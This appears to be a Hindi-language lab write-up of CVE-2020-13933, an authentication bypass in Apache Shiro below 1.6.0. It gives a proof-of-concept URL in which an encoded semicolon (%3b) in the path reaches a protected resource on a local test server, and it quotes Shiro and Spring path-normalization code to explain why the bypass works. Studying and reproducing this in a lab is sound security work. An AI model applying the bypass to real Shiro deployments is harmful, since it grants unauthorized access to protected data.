
CVE-2020-13933 रेंज: shiro प्रमाणीकरण बाइपास भेद्यता
shiro < 1.6.0 प्रमाणीकरण बाईपास भेद्यता
http://127.0.0.1:8080/res/%3bpoc
ShiroConfig.java:
/res/* संसाधन का अनुरोध किया जाता है, तो 302 लॉगिन पृष्ठ पर प्रमाणीकरण के लिए रीडायरेक्ट होता हैNameController.java:
/res/{name}: name नामक संसाधन का अनुरोध (प्रमाणीकरण ट्रिगर करता है)
/res/: किसी संसाधन का अनुरोध नहीं करता (प्रमाणीकरण ट्रिगर नहीं करता)जब अनुरोध पथ में कोई संसाधन नाम निर्दिष्ट नहीं किया जाता है, तो प्रमाणीकरण ट्रिगर नहीं होता है और कोई संसाधन वापस नहीं किया जाता है: http://127.0.0.1:8080/res/

जब अनुरोध पथ में संसाधन नाम निर्दिष्ट किया जाता है, तो 302 प्रमाणीकरण पृष्ठ पर रीडायरेक्ट होता है: http://127.0.0.1:8080/res/poc

जब एक विशिष्ट PoC अनुरोध किसी निर्दिष्ट संसाधन के लिए बनाया जाता है, तो प्रमाणीकरण ट्रिगर नहीं होता है और संसाधन वापस किया जाता है: http://127.0.0.1:8080/res/%3bpoc (%3b ; का URL एनकोडिंग है)

// org.apache.shiro.web.util.WebUtils.java
// line 111
public static String getPathWithinApplication(HttpServletRequest request) {
return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request)));
}
// org.springframework.web.util.UrlPathHelper.java
// line 459
private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
uri = removeSemicolonContent(uri);
uri = decodeRequestString(request, uri);
uri = getSanitizedPath(uri);
return uri;
}